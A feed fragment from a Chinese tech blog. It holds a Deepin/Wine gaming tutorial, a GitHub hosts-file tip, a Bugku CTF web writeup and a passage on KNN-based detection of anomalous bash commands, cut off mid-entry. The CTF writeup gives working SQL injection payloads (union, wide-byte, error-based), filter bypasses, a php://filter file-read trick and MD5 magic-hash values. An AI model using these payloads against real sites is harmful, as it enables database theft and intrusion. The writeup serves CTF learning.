__ \ </span><br><span class="line"> \ \ /\ / / _ _ __ ___| |__| | | | |</span><br><span class="line"> \ \/ \/ / | | '_ \ / _ \ __ | | | |</span><br><span class="line"> \ /\ / | | | | | __/ | | | |__| |</span><br><span class="line"> \/ \/ |_|_| |_|\___|_| |_|\___\_\</span><br></pre></td></tr></table></figure><h3 id="4-1-关于Wine"><a href="#4-1-关于Wine" class="headerlink" title="4.1 关于Wine"></a>4.1 关于Wine</h3><p>  wine是一个能够在多种操作系统(诸多Linux系统、MacOSX系统等)上运行windows应用的兼容层。wine并不是一种虚拟机程序,而是通过运用API转换技术将windows的API转换到Linux对应的API上以运行windows程序。</p><p>  简而言之,wine可以运行一些windows程序。并且为其他兼容性平台如crossover、steam、lutris等作底层支撑。</p><p>  注:腾讯游戏因为存在TP的原因,很难进行适配(13年曾有大佬适配过国服的英雄联盟,但是TP一更新就失效了),所以没办法在Deepin上运行过。</p><p>  如果你使用steam的proton技术来运行其他平台上的游戏,你也需要安装wine来为proton作为支撑。(亲测一些从steam上安装的windows平台游戏再只安装proton时无法运行而在安装wine后可以正常运行。)文章后面也会介绍如何使用steam的proton来安装运行windows游戏。</p><p>  说了这么多,让我们动起手来安装wine吧!安装方法很简单,只需要在命令行下运行一条命令(还记得我们之前使用的快捷键吗?ctrl+alt+t):</p><blockquote><p>sudo apt-get install wine</p></blockquote><p>  在你碰到需要在windows下运行的程序时(这种情况是存在的),可以在命令行中切换到工作目录中运行:</p><blockquote><p>wine ./xxx.exe</p></blockquote><p>  但是不建议非计算机专业人士通过此方法使用安装Windows程序,因为原生Wine并不能很完美的支持所有Windows程序。</p><h3 id="4-2-使用Wine安装游戏300英雄"><a href="#4-2-使用Wine安装游戏300英雄" class="headerlink" title="4.2 使用Wine安装游戏300英雄"></a>4.2 使用Wine安装游戏300英雄</h3><p>  如果没有添加依赖环境,那么你直接安装300英雄的话可能会出现以下错误:</p><p><img src="../static/images/2019-09-27-23-08-23.png" alt></p><p>  出现这个错误这说明300英雄所依赖的某个dll库没有被我们安装上,事实上,经过长时间发展,wine已经很大程度上使得windows程序能够顺利运行在Linux操作系统上。而很多软件无法安装在Linux的主要原因一般有两个,一种是其存在反作弊机制,另一种原因就是因为这些依赖问题。</p><p>  那么,是不是说我们把所有库都安装上就好了呢?不是这样的,因为有些库之间是会相互冲突的,例如wine官网就极力反对用户安装ie浏览器,声明安装ie会很大程度上破坏wine的环境。因此,我们安装依赖是要根据自己的需求来做。而steam和lutris的解决办法就是把每个游戏和其依赖环境做成镜像,以避免游戏之间依赖库的冲突。当然,说这些就扯远了,因为事实上我也并没有深入了解,总之,这个段落主要目的就是告诉大家steam和lutris所实现的技术为Linux的游戏用户带来了很大的便利。</p><p>  继续回到正题,如何解决这个依赖库的问题呢?本人经过搜索网上的解决方案,其依赖库的名称为vcrun6sp6。而我们安装wine的依赖可以通过一个工具:winetricks来实现。</p><p>  安装好300英雄的依赖环境后,我们可以来进行对300英雄的安装。在300英雄安装包的工作目录下运行以下命令:</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">wine64 300.exe</span><br></pre></td></tr></table></figure><p>  我们会看到安装程序打开:</p><p><img src="../static/images/2019-09-27-22-03-28.png" alt></p><p>  点击立即安装,耐心等待其安装完成:</p><p><img src="../static/images/2019-09-27-22-04-27.png" alt></p><p>  安装完成,如果按照之前的教程安装完依赖库,可以直接运行:</p><p><img src="../static/images/2019-09-27-22-27-45.png" alt></p>]]></content>
<summary type="html">
<h1 id="Deepin-Linux体验与入门,并使用Deepin玩300英雄-针对非计算机专业人士"><a href="#Deepin-Linux体验与入门,并使用Deepin玩300英雄-针对非计算机专业人士" class="headerlink" title="Deepin Linux体验与入门,并使用Deepin玩300英雄[针对非计算机专业人士]"></a>Deepin Linux体验与入门,并使用Deepin玩300英雄[针对非计算机专业人士]</h1><h2 id="一-、摘要"><a href="#一-、摘要" class="headerlink" title="一 、摘要"></a>一 、摘要</h2><p><img src="../static/images/2019-09-14-22-18-36.png" alt><br>&emsp;&emsp;Deepin Linux是一个非常优秀的国产操作系统。它不仅为许多常用软件如QQ、微信等提供了适配。同时越来越多的平台也开始逐步加入拥抱Linux系统的步伐中。如金山公司为Linux适配了WPS办公软件、搜狗为Linux适配了搜狗输入法等软件、网易为Linux适配了网易云音乐等软件、百度为Linux适配了百度网盘等软件、360今年开始为Linux适配360浏览器及360压缩等软件。<br>&emsp;&emsp;同时深度公司自主研发的深度桌面、深度影院、深度商店(软件管理软件)、深度看图、深度文件查看器、深度截屏等等软件为Linux的日常使用提供了强大活力。<br>&emsp;&emsp;它具有以下一些鲜明的优点:<br>&emsp;&emsp;1. 简约优雅的桌面设计。<br>&emsp;&emsp;2. 轻快便捷的启动速度。<br>&emsp;&emsp;3. 反应迅速的交互体验。<br>&emsp;&emsp;4. 配置完成后很少出现死机、蓝屏等情况。非常适合笔记本的轻量级使用者使用。<br>&emsp;&emsp;如果你并不是一个游戏发烧友、或者你并不需要在笔记本电脑中安装太多为Windows系统定制的专业软件(如PS、CAD等专业软件),那么厌倦了Windows操作系统的话非常值得尝试体验一下这款国产操作系统。<br>&emsp;&emsp;在毕业之后等待研究生开学的暑假里,本人有一些空余时间来尝试一些新的东西。经过一段时间的摸索使用后,分享一下在我使用过程中遇到的一些问题及解决方案,以及针对我的需求所安装的软件(包括一些Windows平台上的游戏、软件等)的经验。本文将不涉及如何安装Deepin等相关内容(网上相关的内容很多,而且也十分简单),但会涉及一些解决兼容性时遇到的一些问题。<br><img src="../static/images/!%5B%5D(../static/images/2019-09-14-22-33-07.png).png" alt></p>
<center><font color="grey">本人所使用的Deepin桌面</font></center>
<br>
</summary>
<category term="deepin" scheme="http://yoursite.com/tags/deepin/"/>
</entry>
<entry>
<title>解决GitHub下载速度太慢的问题</title>
<link href="http://yoursite.com/2019/01/05/%E8%A7%A3%E5%86%B3GitHub%E4%B8%8B%E8%BD%BD%E9%80%9F%E5%BA%A6%E5%A4%AA%E6%85%A2%E7%9A%84%E9%97%AE%E9%A2%98/"/>
<id>http://yoursite.com/2019/01/05/解决GitHub下载速度太慢的问题/</id>
<published>2019-01-05T04:20:44.000Z</published>
<updated>2019-09-12T06:22:21.000Z</updated>
<content type="html"><![CDATA[<p> 方法一:</p><p> 从GitHub下载文件一直非常慢,查看下载链接发现最终被指向了Amazon的服务器,下载地址是<a href="http://github-cloud.s3.amazonaws.com/,从国内访问Amazon非常慢,所以总是下载失败,解决方法时更改host文件,使该域名指向香港的服务器:" target="_blank" rel="noopener">http://github-cloud.s3.amazonaws.com/,从国内访问Amazon非常慢,所以总是下载失败,解决方法时更改host文件,使该域名指向香港的服务器:</a></p><p> 更改hosts文件:</p><ul><li><p>Windows </p><blockquote><p>更改 <code>C:\Windows\System32\drivers\etc\hosts</code> 文件,在文件中追加 <code>219.76.4.4 github-cloud.s3.amazonaws.com</code> , 将域名指向该IP即可</p></blockquote></li><li><p>Mac </p><blockquote><p>执行 <code>sudo vi /etc/hosts</code> 追加 <code>219.76.4.4 github-cloud.s3.amazonaws.com</code> </p><p><strong>最后执行</strong> <code>ipconfig /flushdns</code> <strong>命令,刷新 DNS 缓存。</strong></p></blockquote></li></ul><p> <strong>方法二:</strong></p><p> <a href="https://www.ipaddress.com/" target="_blank" rel="noopener">https://www.ipaddress.com/</a> 使用 IP Lookup 工具获得下面这两个github域名的ip地址,该网站可能需要梯子,输入上述域名后,分别获得github.com和github.global.ssl.fastly.net对应的ip,比如192.30.xx.xx和151.101.xx.xx。准备工作做完之后,打开的hosts文件中添加如下格式,IP修改为自己查询到的IP: </p><p> 192.30.xx.xx github.com<br> 151.101.xx.xx github.global.ssl.fastly.net </p><p> 最后执行 <code>ipconfig /flushdns</code> 命令,刷新 DNS 缓存。修改后的下载速度能达到 200KB/S 以上。</p>]]></content>
<summary type="html">
<p> 方法一:</p>
<p> 从GitHub下载文件一直非常慢,查看下载链接发现最终被指向了Amazon的服务器,下载地址是<a href="http://github-cloud.s3.amazonaws.com/,从国内访问Amazon非常慢,所以总是下载失败,解决方
</summary>
<category term="CSDN迁移" scheme="http://yoursite.com/tags/CSDN%E8%BF%81%E7%A7%BB/"/>
</entry>
<entry>
<title>Bugku Web题刷题记录(会持续更新)</title>
<link href="http://yoursite.com/2018/03/28/Bugku%20Web%E9%A2%98%E5%88%B7%E9%A2%98%E8%AE%B0%E5%BD%95%EF%BC%88%E4%BC%9A%E6%8C%81%E7%BB%AD%E6%9B%B4%E6%96%B0%EF%BC%89/"/>
<id>http://yoursite.com/2018/03/28/Bugku Web题刷题记录(会持续更新)/</id>
<published>2018-03-28T12:30:29.000Z</published>
<updated>2019-09-12T06:22:41.000Z</updated>
<content type="html"><![CDATA[<p> <a href="http://creativecommons.org/licenses/by-sa/4.0/" target="_blank" rel="noopener"> </a> 版权声明:本文为博主原创文章,遵循<a href="http://creativecommons.org/licenses/by-sa/4.0/" target="_blank" rel="noopener"> CC 4.0 BY-SA </a>版权协议,转载请附上原文出处链接和本声明。 本文链接:<a href="https://blog.csdn.net/s1054436218/article/details/79733345" target="_blank" rel="noopener">https://blog.csdn.net/s1054436218/article/details/79733345</a> </p><p> 之前web题做的不太多,现在多刷一点,写一下writeup记录一下,也方便以后复习。</p><p><strong>sql注入</strong></p><p>宽字符注入,题目说找key表的string字段了,so payload如下:</p><p><a href="http://103.238.227.13:10083/?id=1%DF%27union" target="_blank" rel="noopener">http://103.238.227.13:10083/?id=1%df%27union</a>select string,1 from sql5.key%23</p><p>域名解析</p><p>这道题写wp的时候打不开了,不过当时做的时候只要把host改成这个ip地址就行了</p><p><img src="../../../../image/2.png" alt></p><p><strong>sql注入2</strong></p><p>这个题先是waf,有敏感词直接exit。但是后面有一个过滤xss的函数,会除去<….>之类的东西,所以只要在参数中的敏感词里添加<>就可以注入了。</p><p>首先爆数据库名:</p><p><a href="http://103.238.227.13:10087/?id=1" target="_blank" rel="noopener">http://103.238.227.13:10087/?id=1</a>un<>ion sel<>ect database(),1%23</p><p>题目说查key表的hash字段,所以直接再查一下就拿到flag了:</p><p><a href="http://103.238.227.13:10087/?id=1" target="_blank" rel="noopener">http://103.238.227.13:10087/?id=1</a>un<>ion sel<>ect hash,1 fr<>om sql3.key%23</p><p><strong>你必须让他停下</strong></p><p>这题也挺无聊的,bp抓包以后多go几次就出来了</p><p><img src="../../../../image/3.png" alt></p><p><strong>本地包含</strong></p><p><a href="http://120.24.86.145:8003/?hello=print_r(file(%27test.php%27))" target="_blank" rel="noopener">http://120.24.86.145:8003/?hello=print_r(file(‘test.php’))</a></p><p><strong>变量1</strong></p><p><a href="http://120.24.86.145:8004/index1.php?args=GLOBALS" target="_blank" rel="noopener">http://120.24.86.145:8004/index1.php?args=GLOBALS</a></p><p><strong>Web5</strong></p><p>看源代码,直接把jsfuck丢到Consle里</p><p><img src="../../../../image/4.png" alt></p><p><strong>头等舱</strong></p><p>没什么意思的题,直接抓包就可以了</p><p><img src="../../../../image/5.png" alt></p><p><strong>Web4</strong></p><p>查看源码urldecode以后整理如下</p><p><img src="../../../../image/6.png" alt></p><p>直接submit”67d709b2b54aa2aa648cf6e87a7114f1”,就得到flag了</p><p>flag在Index里</p><p>用伪协议查看base64加密后的源码</p><p><a href="http://120.24.86.145:8005/post/index.php?file=php://filter/read/convert.base64-encode/resource=index.php" target="_blank" rel="noopener">http://120.24.86.145:8005/post/index.php?file=php://filter/read/convert.base64-encode/resource=index.php</a></p><p>解密后的源码里有flag</p><p><strong>点击一万次</strong></p><p>查看源代码:</p><p><img src="../../../../image/7.png" alt></p><p>在Console里让clicks为999999</p><p>然后再点一次就出flag了</p><p><strong>备份是个好习惯</strong></p><p>地址后添加index.php.bak可以下到源码,打开查看如下</p><p><img src="../../../../image/8.png" alt></p><p>就是找两个不相等的值md5相同,分别传参240610708和QNKCDZO,然后就可以拿到flag了</p><p><strong>成绩单</strong></p><p>首先获取数据库名</p><p><img src="../../../../image/9.png" alt></p><p>然后爆表名</p><p>id=0’ union selectdatabase(),table_name,1,1 from information_schema.tables wheretable_schema=’skctf_flag’#</p><p>爆列名</p><p>id=0’ union selectdatabase(),table_name,column_name,1 from information_schema.columns wheretable_schema=’skctf_flag’ and table_name = ‘fl4g’#</p><p>拿flag</p><p>id=0’ union select skctf_flag,1,1,1from skctf_flag.fl4g#</p><p><strong>秋名山老司机</strong></p><p>其实这道题本来也挺简单的,直接写脚本获取到数值提交上去就能得到flag了,坑点是必须要在是这个页面的时候才能得到flag</p><p><img src="../../../../image/10.png" alt></p><p>所以直接照着这个页面写,多运行几次就行了,要注意cookie一致,很简单的脚本就不列出来了。</p><p><strong>速度要快</strong></p><p>抓包以后发现一串base64码</p><p><img src="../../../../image/11.png" alt></p><p>Base64解密并Utf-8解码以后如下</p><p><img src="../../../../image/12.png" alt></p><p>这个值每次都会变,而且要立刻提交,所以写个脚本就行了,也比较简单。</p><p><strong>cookies欺骗</strong></p><p>刚开始的网址是这样的:</p><p><a href="http://120.24.86.145:8002/web11/index.php?line=&filename=a2V5cy50eHQ=" target="_blank" rel="noopener">http://120.24.86.145:8002/web11/index.php?line=&filename=a2V5cy50eHQ=</a></p><p>filename拿去base64解密,是key.txt,于是尝试filename=index.php的base64码,未果,修改行号,发现出现内容,于是一行一行输出,最终得到如下代码:</p><p><img src="../../../../image/13.png" alt></p><p>根据逻辑,修改一下cookies,得到flag</p><p><img src="../../../../image/14.png" alt></p><p><strong>多次</strong></p><p>写这个wp的时候已经是做出来好久了,居然发现都快忘记怎么做了,看来以后做题还是应该留个记录。</p><p>第一关</p><p>首先经尝试会发现union、select等关键词会报错:</p><p><img src="../../../../image/15.png" alt></p><p>于是尝试看看是不是被过滤的,中间加个and果然不报错了:</p><p><img src="../../../../image/16.png" alt></p><p>由于回显只有一行,所以要让第一个查询变为Flase,即加上and 1=2(顺便把数据库也爆出来)</p><p><img src="../../../../image/17.png" alt></p><p>然后一步步尝试发现where和from都没有被过滤,or被过滤了</p><p><img src="../../../../image/18.png" alt></p><p>然后爆表名</p><p><img src="../../../../image/19.png" alt></p><p>爆列名,注意有两个</p><p><img src="../../../../image/20.png" alt></p><p><img src="../../../../image/21.png" alt></p><p>然后那个flag其实没什么卵用,address是第二关:</p><p><img src="../../../../image/22.png" alt></p><p>第二关</p><p><img src="../../../../image/23.png" alt></p><p>可以通过操纵id来注入,这次waf比上次厉害些,敏感词别想着过滤了。</p><p>试了一下and 1=1,发现有报错:</p><p><img src="../../../../image/24.png" alt></p><p>可以利用报错注入,首先爆数据库名:</p><p><img src="../../../../image/25.png" alt></p><p>然后爆表名:</p><p><a href="http://120.24.86.145:9004/Once_More.php?id=1%27or" target="_blank" rel="noopener">http://120.24.86.145:9004/Once_More.php?id=1’or</a>(select count(<em>)b,concat((select table_name from information_schema.tableswhere table_schema = ‘web1002-2’ limit 0,1),floor(rand(0)</em>2))a frominformation_schema.tables group by a)=(1,1)%23</p><p><img src="../../../../image/26.png" alt></p><p><img src="../../../../image/27.png" alt></p><p>看上去是flag2了,我们可以爆一下flag2的列名:</p><p><a href="http://120.24.86.145:9004/Once_More.php?id=1%27or" target="_blank" rel="noopener">http://120.24.86.145:9004/Once_More.php?id=1’or</a>(select count(<em>)b,concat((select column_name from information_schema.columnswhere table_schema = ‘web1002-2’ and table_name=’flag2’ limit 0,1),floor(rand(0)</em>2))afrom information_schema.tables group by a)=(1,1)%23</p><p><img src="../../../../image/28.png" alt></p><p>最后想拿flag,发现出现了一个问题:</p><p><img src="../../../../image/29.png" alt></p><p>这个情况表明返回的内容中有回车,substring没有用,于是尝试left,发现没问题,于是直接left就可以出结果了:</p><p><a href="http://120.24.86.145:9004/Once_More.php?id=1%27or" target="_blank" rel="noopener">http://120.24.86.145:9004/Once_More.php?id=1%27or</a>(select count(<em>)b,concat(left((select flag2 from flag2 limit0,1),40),floor(rand(0)</em>2))a from information_schema.tables group by a)=(1,1)%23</p><p><img src="../../../../image/30.png" alt></p><p>第三关</p><p>进来发现一张二维码……然后它提示是参数是game,flag在admin中,然而没卵用,感觉game怎么注都没反应,希望有大佬做出来指点一下吧。</p><p>初入web坑,欢迎大家互相交流~</p>]]></content>
<summary type="html">
<p> <a href="http://creativecommons.org/licenses/by-sa/4.0/" target="_blank" rel="noopener"> </a> 版权声明:本文为博主原创文章,遵循<a href="http://creativec
</summary>
<category term="CSDN迁移" scheme="http://yoursite.com/tags/CSDN%E8%BF%81%E7%A7%BB/"/>
</entry>
<entry>
<title>Web安全之机器学习入门读书笔记——K近邻算法</title>
<link href="http://yoursite.com/2018/01/25/Web%E5%AE%89%E5%85%A8%E4%B9%8B%E6%9C%BA%E5%99%A8%E5%AD%A6%E4%B9%A0%E5%85%A5%E9%97%A8%E8%AF%BB%E4%B9%A6%E7%AC%94%E8%AE%B0%E2%80%94%E2%80%94K%E8%BF%91%E9%82%BB%E7%AE%97%E6%B3%95/"/>
<id>http://yoursite.com/2018/01/25/Web安全之机器学习入门读书笔记——K近邻算法/</id>
<published>2018-01-25T08:51:56.000Z</published>
<updated>2019-09-12T06:22:21.000Z</updated>
<content type="html"><![CDATA[<p> <a href="http://creativecommons.org/licenses/by-sa/4.0/" target="_blank" rel="noopener"> </a> 版权声明:本文为博主原创文章,遵循<a href="http://creativecommons.org/licenses/by-sa/4.0/" target="_blank" rel="noopener"> CC 4.0 BY-SA </a>版权协议,转载请附上原文出处链接和本声明。 本文链接:<a href="https://blog.csdn.net/s1054436218/article/details/79154640" target="_blank" rel="noopener">https://blog.csdn.net/s1054436218/article/details/79154640</a> </p><p> 网络空间安全和AI几乎是当下最热的两门话题了,而AI安全人才是少之又少,抱着这个想法和自己的兴趣,最近在读兜哥出的一本书:《Web安全之机器学习入门》。这几天会边读边写笔记,由于兜哥的代码都是用python2.7写的,个人比较喜欢python3.6,在写笔记的过程中可能与兜哥的源代码不符,顺便纠正一下书中的错误(试某个代码的时候一直跑错,到兜哥的GitHub上发现大家都说兜哥的代码的确写错了)。建议各位同好的朋友们去买兜哥的正版图书哈~我的笔记会省略兜哥讲到的很多姿势。以下是兜哥这本书的京东地址:<a href="https://item.jd.com/12158965.html" target="_blank" rel="noopener">https://item.jd.com/12158965.html</a></p><p> 本文所有代码以及数据都可以在我的GitHub上下载:<a href="https://github.com/UnnameBao/Note_For_MLFTWS/tree/master/Capter5" target="_blank" rel="noopener">Capter5</a></p><p> K近邻算法算是最简单的机器学习算法了,也是比较重要的算法,简单易懂,书里介绍的相对简略,想更了解这个算法的朋友可以到这位大佬这里学习一下:<a href="http://blog.csdn.net/c406495762/article/details/75172850" target="_blank" rel="noopener">Python3《机器学习实战》学习笔记(一):k-近邻算法(史诗级干货长文</a></p><h2 id="使用K近邻算法检测异常操作(一)"><a href="#使用K近邻算法检测异常操作(一)" class="headerlink" title="使用K近邻算法检测异常操作(一)"></a>使用K近邻算法检测异常操作(一)</h2><p> 黑客入侵Web服务器以后,通常会通过系统漏洞进一步提权,获得root权限。所以我们可以利用搜集来的Linux服务器的bash操作日志,通过训练识别出特定用户的操作习惯,然后进一步识别出异常操作行为。兜哥这里写的代码文件名是5-2.py,于是我这里写S的是test5_2.py。<br> 首先是对训练数据的处理,训练数据中包括50个用户的操作日志,每个日志包含15000条操作命令,其中前5000条都是正常操作,后面的10000条日志中随机包含有异常操作。为了方便分析,数据集每100条操作作为一个操作系列,每个操作序列只要有1条异常数据就认为这个操作序列异常。<br> <img src="../../../../image/1.png" alt></p><h4 id="1、数据搜集和清洗"><a href="#1、数据搜集和清洗" class="headerlink" title="1、数据搜集和清洗"></a>1、数据搜集和清洗</h4><p> 一共50个User,其中label.txt记录每个User文件操作序列是否为异常,用于测试和训练,tmp.py是我自己写的脚本……<br> 然后我们需要逐行读取操作命令,并且每100个命令组成一个操作序列,保存在list中:<br> <figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br></pre></td><td class="code"><pre><span class="line">def load_user_cmd(filename):</span><br><span class="line">cmd_list = []#存储所有操作序列</span><br><span class="line">dist_max = []#存储用户使用频率最高的50个命令</span><br><span class="line">dist_min = []#存储用户使用频率最低的50个命令</span><br><span class="line">dist = []#存储所有命令</span><br><span class="line">with open(filename) as f:</span><br><span class="line">i = 0</span><br><span class="line">x = []#存储每个操作序列</span><br><span class="line">for line in f:</span><br><span class="line">line = line.strip('\n')#去掉空行</span><br><span class="line">x.append(line)#组合成操作序列</span><br><span class="line">dist.append(line)#添加操作命令</span><br><span class="line">i+=1</span><br><span class="line">if i==100:</span><br><span class="line">cmd_list.append(x)#每计数100个添加操作序列</span><br><span class="line">x = []#然后将操作序列清空</span><br><span class="line">i = 0</span><br></pre></td></tr></table></figure></p><p> 我们需要统计使用频率最高的50个命令和最低的50个命令,以判断用户的操作习惯,所以略微修改一下读入的函数:<br> <figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br></pre></td><td class="code"><pre><span class="line">def load_user_cmd(filename):</span><br><span class="line">cmd_list = []#存储所有操作序列</span><br><span class="line">dist_max = []#存储用户使用频率最高的50个命令</span><br><span class="line">dist_min = []#存储用户使用频率最低的50个命令</span><br><span class="line">dist = []#存储所有命令</span><br><span class="line">with open(filename) as f:</span><br><span class="line">i = 0</span><br><span class="line">x = []#存储每个操作序列</span><br><span class="line">for line in f:</span><br><span class="line">line = line.strip('\n')#去掉空行</span><br><span class="line">x.append(line)#组合成操作序列</span><br><span class="line">dist.append(line)#添加操作命令</span><br><span class="line">i+=1</span><br><span class="line">if i==100:</span><br><span class="line">cmd_list.append(x)#每计数100个添加操作序列</span><br><span class="line">x = []#然后将操作序列清空</span><br><span class="line">i = 0</span><br><span class="line">fdist = sorted(FreqDist(dist).items(),key = operator.itemgetter(1),reverse = True)#获得操作命令使用频率并排序</span><br><span class="line">dist_max = set([item[0] for item in fdist[:50]])#取出前50个操作命令的指令</span><br><span class="line">dist_min = set([item[0] for item in fdist[-50:]])#取出前50个操作命令的指令</span><br><span class="line">return cmd_list,dist_max,dist_min</span><br></pre></td></tr></table></figure></p><p> 使用FreqDist和operator.itemgetter之前记得首先要import一下:<br> <figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">from nltk.probability import FreqDist</span><br><span class="line">import operator</span><br></pre></td></tr></table></figure></p><p> 注意,这里我跟兜哥的代码不相同,兜哥原本获取操作指令频率的命令是:<br> <figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">fdist = FreqDist(dist).keys()</span><br><span class="line">dist_max=set(fdist[0:50])</span><br><span class="line">dist_min = set(fdist[-50:])</span><br><span class="line">return cmd_list,dist_max,dist_min</span><br></pre></td></tr></table></figure></p><p>然而这样获取的keys()是随机的,不是按照使用频率排序的,故后面都会出错(尽管我用兜哥的源代码仍然跑的概率和书上不同,改对后也不同)。set其实没有必要用,因为keys一定不会重复的,但是这样用也没有问题,向兜哥致敬吧,所以我没有把set去掉。<br> 数据搜集和清洗的操作完成了,接下来将数据<strong>特征化</strong>。 </p><h4 id="2、特征化"><a href="#2、特征化" class="headerlink" title="2、特征化"></a>2、特征化</h4><p> (1)获得每个操作序列去重后的指令个数:<br> <figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">f1=len(set(cmd_block))</span><br></pre></td></tr></table></figure></p><p> (2)获得每个操作序列使用前10以及后10的命令(这里依旧和兜哥的源代码不同):<br> <figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">fdist = sorted(FreqDist(cmd_block).items(),key = operator.itemgetter(1),reverse = True)</span><br><span class="line">f2 = [item[0] for item in fdist[:10]]</span><br><span class="line">f3 = [item[0] for item in fdist[-10:]]</span><br></pre></td></tr></table></figure></p><p>KNN只能以标量作为输入参数,所以需要将f2和f3表量化,最简单的方式就是和统计的最频繁使用的前50个命令以及最不频繁的50个命令计算重合度:<br> <figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"> f2 = len(set(f2) & set(dist_max))</span><br><span class="line">f3 = len(set(f3) & set(dist_min))</span><br></pre></td></tr></table></figure></p><p>最终,特征化函数为:<br> <figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line">def get_user_cmd_feature(user_cmd_list,dist_max,dist_min):</span><br><span class="line">user_cmd_feature = []</span><br><span class="line">for cmd_block in user_cmd_list:</span><br><span class="line">f1 = len(set(cmd_block))</span><br><span class="line">fdist = sorted(FreqDist(cmd_block).items(),key = operator.itemgetter(1),reverse = True)</span><br><span class="line">f2 = [item[0] for item in fdist[:10]]</span><br><span class="line">f3 = [item[0] for item in fdist[-10:]]</span><br><span class="line">f2 = len(set(f2) & set(dist_max))</span><br><span class="line">f3 = len(set(f3) & set(dist_min))</span><br><span class="line">x = [f1,f2,f3]</span><br><span class="line">user_cmd_feature.append(x)</span><br><span class="line">return user_cmd_feature</span><br></pre></td></tr></table></figure></p><h4 id="3、训练数据"><a href="#3、训练数据" class="headerlink" title="3、训练数据"></a>3、训练数据</h4><p> 完成了数据读取和特征化后,我们即将开始训练数据,但在此之前,我们还需要把标志操作序列是否异常的标签读进来,提供监督学习:<br> <figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">def get_label(filename,index=0):#读取标签,index+1即用户编号</span><br><span class="line">x=[]</span><br><span class="line">with open(filename) as f:</span><br><span class="line">for line in f:</span><br><span class="line">line = line.strip('\n')</span><br><span class="line">x.append(int(line.split()[index]))</span><br><span class="line">return x</span><br></pre></td></tr></table></figure></p><p>加载user3的数据,然后进行测试和训练,前N个用作训练,其余的用作测试:<br> <figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br></pre></td><td class="code"><pre><span class="line">#读取用户操作序列,并做数据清洗</span><br><span class="line">user_cmd_list,user_cmd_dist_max,user_cmd_dist_min = load_user_cmd('../Capter5/MasqueradeDat/User3')</span><br><span class="line">#将数据特征化</span><br><span class="line">user_cmd_feature = get_user_cmd_feature(user_cmd_list,user_cmd_dist_max,user_cmd_dist_min)</span><br><span class="line">#获得操作序列的标签</span><br><span class="line">labels = get_label('../Capter5/MasqueradeDat/label.txt',2)</span><br><span class="line">#label.txt中只有后100个序列的标签,前50个都是正常用户的操作序列</span><br><span class="line">y = [0]*50 + labels</span><br><span class="line">#x代表特征化的数据,这里取了前N个数据</span><br><span class="line">x_train = user_cmd_feature[0:N]</span><br><span class="line">#y代表数据的标签,这里取了前N个数据的标签</span><br><span class="line">y_train = y[0:N]</span><br><span class="line">#N个以后的都用作测试</span><br><span class="line">x_test = user_cmd_feature[N:150]</span><br><span class="line">y_test = y[N:150]</span><br></pre></td></tr></table></figure></p><p> 接下来要调用skearn的库来操作,首先需要import一下:<br> <figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">from sklearn.neighbors import KNeighborsClassifier</span><br><span class="line">import numpy as np</span><br></pre></td></tr></table></figure></p><p>接下来调用KNN函数进行训练:<br> <figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"> neigh = KNeighborsClassifier(n_neighbors = 3)</span><br><span class="line">neigh.fit(x_train,y_train)</span><br></pre></td></tr></table></figure></p><p>然后预测结果,并获得 准确率:<br> <figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">y_predict = neigh.predict(x_test)</span><br><span class="line">score = np.mean(y_test == y_predict)*100</span><br><span class="line">print(score)</span><br></pre></td></tr></table></figure></p><p>书上说是用前120个操作序列进行训练,后30进行测试,准确率是80%,然而无论我用书上的代码还是兜哥GitHub上的源代码跑出的准确率都是100%……包括我自己修正后的代码也是100,不过将训练的数据减小到50个,我修正后的代码跑出的准确率为89%:<br> 